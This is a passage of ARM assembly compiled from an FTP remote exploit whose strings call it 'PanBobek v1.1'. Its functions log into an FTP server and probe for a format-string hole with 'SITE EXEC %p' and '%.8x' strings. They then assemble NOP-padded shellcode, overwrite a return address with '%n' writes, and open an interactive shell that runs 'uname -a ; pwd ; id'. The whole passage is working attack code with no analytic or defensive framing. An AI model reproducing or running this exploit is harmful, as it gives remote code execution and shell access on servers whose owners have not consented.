	bne	.L22
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-8]
	sub	r2, fp, #24576
	sub	r2, r2, #4
	mov	r1, r2
	add	r2, r3, #1
	str	r2, [r1, #-8]
	mvn	r2, #0
	strb	r2, [r3]
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-8]
	mvn	r2, #0
	strb	r2, [r3]
	b	.L23
.L22:
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-12]
	ldrb	r2, [r3]	@ zero_extendqisi2
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-8]
	strb	r2, [r3]
.L23:
	sub	r3, fp, #24576
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-12]
	add	r3, r3, #1
	str	r3, [r2, #-12]
	sub	r3, fp, #24576
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-8]
	add	r3, r3, #1
	str	r3, [r2, #-8]
.L21:
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-12]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L24
	ldr	r3, .L27+4
	ldr	r2, [r3]
	sub	r3, fp, #16384
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r2
	mov	r0, r3
	bl	fputs
	ldr	r3, .L27+4
	ldr	r3, [r3]
	mov	r2, #2
	mov	r1, #1
	ldr	r0, .L27+8
	bl	fwrite
	ldr	r3, .L27+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	mov	r3, #0
.L25:
	ldr	r2, .L27
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L26
	bl	__stack_chk_fail
.L26:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, lr}
	add	sp, sp, #16
	bx	lr
.L28:
	.align	2
.L27:
	.word	.LC16
	.word	cout
	.word	.LC15
	.size	command, .-command
	.section	.rodata
	.align	2
.LC17:
	.ascii	"<-- %s\000"
	.text
	.align	2
	.global	getreply
	.syntax unified
	.arm
	.fpu softvfp
	.type	getreply, %function
getreply:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, .L33
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, #8192
	ldr	r0, .L33+4
	bl	fgets
	mov	r3, r0
	cmp	r3, #0
	bne	.L30
	mvn	r3, #0
	b	.L31
.L30:
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L32
	ldr	r3, .L33+8
	ldr	r3, [r3]
	ldr	r2, .L33+4
	ldr	r1, .L33+12
	mov	r0, r3
	bl	fprintf
.L32:
	mov	r3, #0
.L31:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L34:
	.align	2
.L33:
	.word	cin
	.word	recvbuf
	.word	stderr
	.word	.LC17
	.size	getreply, .-getreply
	.section	.rodata
	.align	2
.LC18:
	.ascii	"220 \000"
	.align	2
.LC19:
	.ascii	"USER %s\000"
	.align	2
.LC20:
	.ascii	"331\000"
	.align	2
.LC21:
	.ascii	"PASS %s\000"
	.align	2
.LC22:
	.ascii	"230 \000"
	.text
	.align	2
	.global	logintoftp
	.syntax unified
	.arm
	.fpu softvfp
	.type	logintoftp, %function
logintoftp:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
.L38:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L36
	mvn	r3, #0
	b	.L37
.L36:
	mov	r2, #4
	ldr	r1, .L44
	ldr	r0, .L44+4
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L38
	ldr	r1, [fp, #-8]
	ldr	r0, .L44+8
	bl	command
	mov	r3, r0
	cmp	r3, #0
	bge	.L39
	mvn	r3, #0
	b	.L37
.L39:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L40
	mvn	r3, #0
	b	.L37
.L40:
	mov	r2, #3
	ldr	r1, .L44+12
	ldr	r0, .L44+4
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L41
	ldr	r0, .L44+4
	bl	puts
	mvn	r3, #0
	b	.L37
.L41:
	ldr	r1, [fp, #-12]
	ldr	r0, .L44+16
	bl	command
	mov	r3, r0
	cmp	r3, #0
	bge	.L42
	mvn	r3, #0
	b	.L37
.L42:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L43
	mvn	r3, #0
	b	.L37
.L43:
	mov	r2, #4
	ldr	r1, .L44+20
	ldr	r0, .L44+4
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L42
	mov	r3, #0
.L37:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L45:
	.align	2
.L44:
	.word	.LC18
	.word	recvbuf
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.size	logintoftp, .-logintoftp
	.section	.rodata
	.align	2
.LC23:
	.ascii	"SITE EXEC %%p\000"
	.align	2
.LC24:
	.ascii	"200-\000"
	.align	2
.LC25:
	.ascii	"0x\000"
	.text
	.align	2
	.global	checkvuln
	.syntax unified
	.arm
	.fpu softvfp
	.type	checkvuln, %function
checkvuln:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L52
	bl	command
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L47
	mvn	r3, #0
	b	.L48
.L47:
	mov	r2, #4
	ldr	r1, .L52+4
	ldr	r0, .L52+8
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L49
	mvn	r3, #0
	b	.L48
.L49:
	ldr	r3, .L52+12
	mov	r2, #2
	ldr	r1, .L52+16
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L50
	mvn	r3, #0
	b	.L48
.L50:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L51
	mvn	r3, #0
	b	.L48
.L51:
	mov	r3, #0
.L48:
	mov	r0, r3
	pop	{fp, pc}
.L53:
	.align	2
.L52:
	.word	.LC23
	.word	.LC24
	.word	recvbuf
	.word	recvbuf+4
	.word	.LC25
	.size	checkvuln, .-checkvuln
	.section	.rodata
	.align	2
.LC26:
	.ascii	"at offset %d\012\000"
	.align	2
.LC27:
	.ascii	"SITE EXEC \000"
	.align	2
.LC28:
	.ascii	"a\000"
	.align	2
.LC29:
	.ascii	"abcd\000"
	.align	2
.LC30:
	.ascii	"%%.f\000"
	.align	2
.LC31:
	.ascii	"%%d%%d\000"
	.align	2
.LC32:
	.ascii	"|%%.8x|%%.8x\000"
	.align	2
.LC33:
	.ascii	"64636261\000"
	.align	2
.LC34:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	findeip
	.syntax unified
	.arm
	.fpu softvfp
	.type	findeip, %function
findeip:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #56
	str	r0, [fp, #-56]
	str	r1, [fp, #-60]
	ldr	r3, .L73
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-56]
	str	r3, [fp, #-48]
.L69:
	ldr	r3, .L73+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-48]
	ldr	r1, .L73+8
	mov	r0, r3
	bl	fprintf
	ldr	r2, .L73+12
	ldr	r3, .L73+16
	mov	r0, r2
	mov	r1, r3
	mov	r3, #11
	mov	r2, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-44]
	b	.L55
.L56:
	ldr	r0, .L73+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L73+12
	add	r3, r2, r3
	ldr	r2, .L73+20
	mov	r0, r3
	mov	r1, r2
	mov	r3, #2
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-44]
	add	r3, r3, #1
	str	r3, [fp, #-44]
.L55:
	ldr	r2, [fp, #-44]
	ldr	r3, [fp, #-60]
	cmp	r2, r3
	blt	.L56
	ldr	r0, .L73+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L73+12
	add	r3, r2, r3
	ldr	r2, .L73+24
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-44]
	b	.L57
.L58:
	ldr	r0, .L73+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L73+12
	add	r3, r2, r3
	ldr	r2, .L73+28
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-44]
	add	r3, r3, #1
	str	r3, [fp, #-44]
.L57:
	ldr	r3, [fp, #-56]
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-44]
	cmp	r3, r2
	blt	.L58
	mov	r3, #0
	str	r3, [fp, #-44]
	b	.L59
.L60:
	ldr	r0, .L73+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L73+12
	add	r3, r2, r3
	ldr	r2, .L73+32
	mov	r0, r3
	mov	r1, r2
	mov	r3, #7
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-44]
	add	r3, r3, #1
	str	r3, [fp, #-44]
.L59:
	ldr	r2, [fp, #-48]
	ldr	r3, [fp, #-56]
	sub	r3, r2, r3
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-44]
	cmp	r3, r2
	blt	.L60
	ldr	r0, .L73+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L73+12
	add	r3, r2, r3
	ldr	r2, .L73+36
	mov	r0, r3
	mov	r1, r2
	mov	r3, #13
	mov	r2, r3
	bl	memcpy
	ldr	r0, .L73+12
	bl	command
	mov	r3, r0
	cmp	r3, #0
	bge	.L61
	mvn	r3, #0
	b	.L71
.L61:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L63
	mvn	r3, #0
	b	.L71
.L63:
	mov	r1, #124
	ldr	r0, .L73+40
	bl	strchr
	str	r0, [fp, #-36]
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	bne	.L64
	mvn	r3, #0
	b	.L71
.L64:
	ldr	r3, [fp, #-36]
	add	r1, r3, #1
	sub	r3, fp, #32
	mov	r2, #8
	mov	r0, r3
	bl	strncpy
	ldr	r3, [fp, #-36]
	add	r1, r3, #10
	sub	r3, fp, #20
	mov	r2, #8
	mov	r0, r3
	bl	strncpy
	mov	r3, #0
	strb	r3, [fp, #-12]
	ldrb	r3, [fp, #-12]	@ zero_extendqisi2
	strb	r3, [fp, #-24]
	sub	r3, fp, #32
	ldr	r1, .L73+44
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L65
	ldr	r3, [fp, #-48]
	str	r3, [fp, #-40]
	b	.L66
.L65:
	sub	r3, fp, #20
	ldr	r1, .L73+44
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L67
	ldr	r3, [fp, #-48]
	add	r3, r3, #4
	str	r3, [fp, #-40]
	b	.L66
.L67:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L68
	mvn	r3, #0
	b	.L71
.L68:
	ldr	r3, [fp, #-48]
	add	r3, r3, #8
	str	r3, [fp, #-48]
	b	.L69
.L66:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L70
	mvn	r3, #0
	b	.L71
.L70:
	ldr	r3, [fp, #-40]
.L71:
	ldr	r2, .L73
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L72
	bl	__stack_chk_fail
.L72:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L74:
	.align	2
.L73:
	.word	.LC34
	.word	stderr
	.word	.LC26
	.word	sendbuf
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	recvbuf
	.word	.LC33
	.size	findeip, .-findeip
	.align	2
	.global	putshell
	.syntax unified
	.arm
	.fpu softvfp
	.type	putshell, %function
putshell:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r2, .L77
	ldr	r3, [fp, #-16]
	lsl	r3, r3, #5
	add	r3, r2, r3
	ldr	r3, [r3, #8]
	str	r3, [fp, #-12]
	ldr	r0, [fp, #-12]
	bl	strlen
	mov	r3, r0
	rsb	r3, r3, #396
	add	r3, r3, #2
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	mov	r2, r3
	mov	r1, #144
	ldr	r0, .L77+4
	bl	memset
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	ldr	r2, .L77+4
	mov	r1, #0
	strb	r1, [r2, r3]
	ldr	r1, [fp, #-12]
	ldr	r0, .L77+4
	bl	strcat
	ldr	r3, .L77+4
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L78:
	.align	2
.L77:
	.word	targ
	.word	buf.6659
	.size	putshell, .-putshell
	.section	.rodata
	.align	2
.LC35:
	.ascii	"RET: %p, RET location: %p, RET location offset on s"
	.ascii	"tack: %d\012\000"
	.align	2
.LC36:
	.ascii	"Reply size: %d, New RET: %p\012\000"
	.align	2
.LC37:
	.ascii	"%c%c%c%c\000"
	.align	2
.LC38:
	.ascii	"%%.\000"
	.align	2
.LC39:
	.ascii	"%d\000"
	.align	2
.LC40:
	.ascii	"d%%n\000"
	.align	2
.LC41:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	overwrite
	.syntax unified
	.arm
	.fpu softvfp
	.type	overwrite, %function
overwrite:
	@ args = 4, pretend = 0, frame = 128
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #136
	str	r0, [fp, #-120]
	str	r1, [fp, #-124]
	str	r2, [fp, #-128]
	str	r3, [fp, #-132]
	ldr	r3, .L99
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-112]
	ldr	r3, .L99+4
	ldr	r0, [r3]
	ldr	r2, [fp, #-120]
	ldr	r1, [fp, #-132]
	ldr	r3, [fp, #-124]
	str	r3, [sp]
	mov	r3, r1
	ldr	r1, .L99+8
	bl	fprintf
	ldr	r3, [fp, #-124]
	cmp	r3, #11
	ble	.L80
	ldr	r2, .L99+12
	ldr	r3, .L99+16
	mov	r0, r2
	mov	r1, r3
	mov	r3, #11
	mov	r2, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-116]
	b	.L81
.L82:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+20
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-116]
	add	r3, r3, #1
	str	r3, [fp, #-116]
.L81:
	ldr	r3, [fp, #4]
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-116]
	cmp	r3, r2
	blt	.L82
	mov	r3, #0
	str	r3, [fp, #-116]
	b	.L83
.L84:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+24
	mov	r0, r3
	mov	r1, r2
	mov	r3, #7
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-116]
	add	r3, r3, #1
	str	r3, [fp, #-116]
.L83:
	ldr	r2, [fp, #-124]
	ldr	r3, [fp, #4]
	sub	r3, r2, r3
	sub	r3, r3, #8
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-116]
	cmp	r3, r2
	blt	.L84
	ldr	r2, [fp, #-124]
	ldr	r3, [fp, #4]
	sub	r3, r2, r3
	sub	r3, r3, #8
	and	r3, r3, #7
	cmp	r3, #0
	beq	.L85
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+24
	mov	r0, r3
	mov	r1, r2
	mov	r3, #7
	mov	r2, r3
	bl	memcpy
.L85:
	ldr	r0, .L99+12
	bl	command
	mov	r3, r0
	cmp	r3, #0
	bge	.L86
	mvn	r3, #0
	b	.L97
.L86:
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L88
	mvn	r3, #0
	b	.L97
.L88:
	ldr	r3, .L99+28
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #2
	str	r3, [fp, #-112]
	mov	r0, #0
	bl	getreply
	mov	r3, r0
	cmp	r3, #0
	bge	.L80
	mvn	r3, #0
	b	.L97
.L80:
	ldr	r3, .L99+4
	ldr	r0, [r3]
	ldr	r2, [fp, #-120]
	ldr	r3, [fp, #-112]
	sub	r3, r2, r3
	ldr	r2, [fp, #-112]
	ldr	r1, .L99+32
	bl	fprintf
	ldr	r2, .L99+12
	ldr	r3, .L99+16
	mov	r0, r2
	mov	r1, r3
	mov	r3, #11
	mov	r2, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-116]
	b	.L89
.L90:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+36
	mov	r0, r3
	mov	r1, r2
	mov	r3, #2
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-116]
	add	r3, r3, #1
	str	r3, [fp, #-116]
.L89:
	ldr	r2, [fp, #-116]
	ldr	r3, [fp, #-128]
	cmp	r2, r3
	blt	.L90
	ldr	r3, [fp, #-132]
	and	r1, r3, #255
	ldr	r3, [fp, #-132]
	asr	r3, r3, #8
	and	ip, r3, #255
	ldr	r3, [fp, #-132]
	asr	r3, r3, #16
	and	r3, r3, #255
	ldr	r2, [fp, #-132]
	lsr	r2, r2, #24
	sub	r0, fp, #108
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, ip
	mov	r2, r1
	ldr	r1, .L99+40
	bl	sprintf
	sub	r3, fp, #108
	mov	r1, r3
	ldr	r0, .L99+12
	bl	strcat
	mov	r3, #0
	str	r3, [fp, #-116]
	b	.L91
.L92:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+20
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-116]
	add	r3, r3, #1
	str	r3, [fp, #-116]
.L91:
	ldr	r3, [fp, #4]
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-116]
	cmp	r3, r2
	blt	.L92
	mov	r3, #0
	str	r3, [fp, #-116]
	b	.L93
.L94:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+24
	mov	r0, r3
	mov	r1, r2
	mov	r3, #7
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-116]
	add	r3, r3, #1
	str	r3, [fp, #-116]
.L93:
	ldr	r2, [fp, #-124]
	ldr	r3, [fp, #4]
	sub	r3, r2, r3
	sub	r3, r3, #8
	add	r2, r3, #7
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-116]
	cmp	r3, r2
	blt	.L94
	ldr	r2, [fp, #-124]
	ldr	r3, [fp, #4]
	sub	r3, r2, r3
	sub	r3, r3, #8
	and	r3, r3, #7
	cmp	r3, #0
	beq	.L95
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+24
	mov	r0, r3
	mov	r1, r2
	mov	r3, #7
	mov	r2, r3
	bl	memcpy
.L95:
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+44
	mov	r0, r3
	mov	r1, r2
	mov	r3, #4
	mov	r2, r3
	bl	memcpy
	ldr	r2, [fp, #-120]
	ldr	r3, [fp, #-112]
	sub	r2, r2, r3
	sub	r3, fp, #108
	ldr	r1, .L99+48
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #108
	mov	r1, r3
	ldr	r0, .L99+12
	bl	strcat
	ldr	r0, .L99+12
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L99+12
	add	r3, r2, r3
	ldr	r2, .L99+52
	mov	r0, r3
	mov	r1, r2
	mov	r3, #5
	mov	r2, r3
	bl	memcpy
	ldr	r0, .L99+12
	bl	command
	mov	r3, r0
	cmp	r3, #0
	bge	.L96
	mvn	r3, #0
	b	.L97
.L96:
	mov	r3, #0
.L97:
	ldr	r2, .L99
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L98
	bl	__stack_chk_fail
.L98:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L100:
	.align	2
.L99:
	.word	.LC41
	.word	stderr
	.word	.LC35
	.word	sendbuf
	.word	.LC27
	.word	.LC30
	.word	.LC31
	.word	recvbuf+4
	.word	.LC36
	.word	.LC28
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.size	overwrite, .-overwrite
	.section	.rodata
	.align	2
.LC42:
	.ascii	"uname -a ; pwd ; id\012\000"
	.align	2
.LC43:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sh
	.syntax unified
	.arm
	.fpu softvfp
	.type	sh, %function
sh:
	@ args = 0, pretend = 0, frame = 8496
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #8448
	sub	sp, sp, #60
	sub	r3, fp, #8192
	sub	r3, r3, #12
	str	r0, [r3, #-300]
	ldr	r3, .L111
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r2, .L111+4
	sub	ip, r3, #28
	mov	lr, r2
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1}
	str	r0, [ip]
	add	ip, ip, #4
	strb	r1, [ip]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #8448
	sub	r3, r3, #12
	sub	r3, r3, #28
	str	r3, [r2, #-292]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-296]
	b	.L102
.L103:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-292]
	sub	r2, fp, #8192
	sub	r2, r2, #12
	ldr	r2, [r2, #-296]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-296]
	add	r3, r3, #1
	str	r3, [r2, #-296]
.L102:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-296]
	cmp	r3, #31
	bls	.L103
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-284]
	orr	r3, r3, #1
	sub	r2, fp, #8192
	sub	r2, r2, #12
	str	r3, [r2, #-284]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-300]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r1, r3
	lsl	r3, r2, #2
	add	r3, r1, r3
	ldr	r1, [r3, #-284]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-300]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r0, r3
	lsl	r3, r2, #2
	add	r3, r0, r3
	str	r1, [r3, #-284]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #28
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #28
	sub	r1, fp, #8192
	sub	r1, r1, #12
	mov	r0, r1
	mov	r1, r3
	ldr	r0, [r0, #-300]
	bl	write
.L108:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r0, r3
	mov	r3, #8192
	mov	r2, r3
	mov	r1, #0
	bl	memset
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r2, fp, #8192
	sub	r2, r2, #12
	sub	r3, r3, #156
	sub	r1, r2, #284
	mov	r2, #128
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-300]
	add	r0, r3, #1
	sub	r1, fp, #8320
	sub	r1, r1, #12
	sub	r1, r1, #28
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #0
	bl	select
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-156]
	and	r3, r3, #1
	cmp	r3, #0
	beq	.L104
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #8192
	mov	r1, r3
	mov	r0, #0
	bl	read
	str	r0, [r4, #-288]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r2, [r3, #-288]
	sub	r1, fp, #8192
	sub	r1, r1, #12
	sub	r1, r1, #4
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #4
	ldr	r0, [r0, #-300]
	bl	send
.L104:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-300]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	sub	r2, fp, #8192
	sub	r2, r2, #12
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r2, [r3, #-156]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-300]
	rsbs	r1, r3, #0
	and	r3, r3, #31
	and	r1, r1, #31
	rsbpl	r3, r1, #0
	mov	r1, #1
	lsl	r3, r1, r3
	and	r3, r3, r2
	cmp	r3, #0
	beq	.L108
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	sub	r2, fp, #8192
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #8192
	mov	r1, r3
	ldr	r0, [r0, #-300]
	bl	read
	str	r0, [r4, #-288]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-288]
	cmp	r3, #0
	bge	.L106
	mov	r3, #0
	ldr	r2, .L111
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L109
	b	.L110
.L106:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r2, [r3, #-288]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, #1
	bl	write
	b	.L108
.L110:
	bl	__stack_chk_fail
.L109:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L112:
	.align	2
.L111:
	.word	.LC43
	.word	.LC42
	.size	sh, .-sh
	.section	.rodata
	.align	2
.LC44:
	.ascii	"l:f:s:t:o\000"
	.align	2
.LC45:
	.ascii	"PanBobek v1.1 by venglin@freebsd.lublin.pl\012\012\000"
	.align	2
.LC46:
	.ascii	"Please select platform:\012\000"
	.align	2
.LC47:
	.ascii	"\011-t %d : %s %s (%p / %p)\012\000"
	.align	2
.LC48:
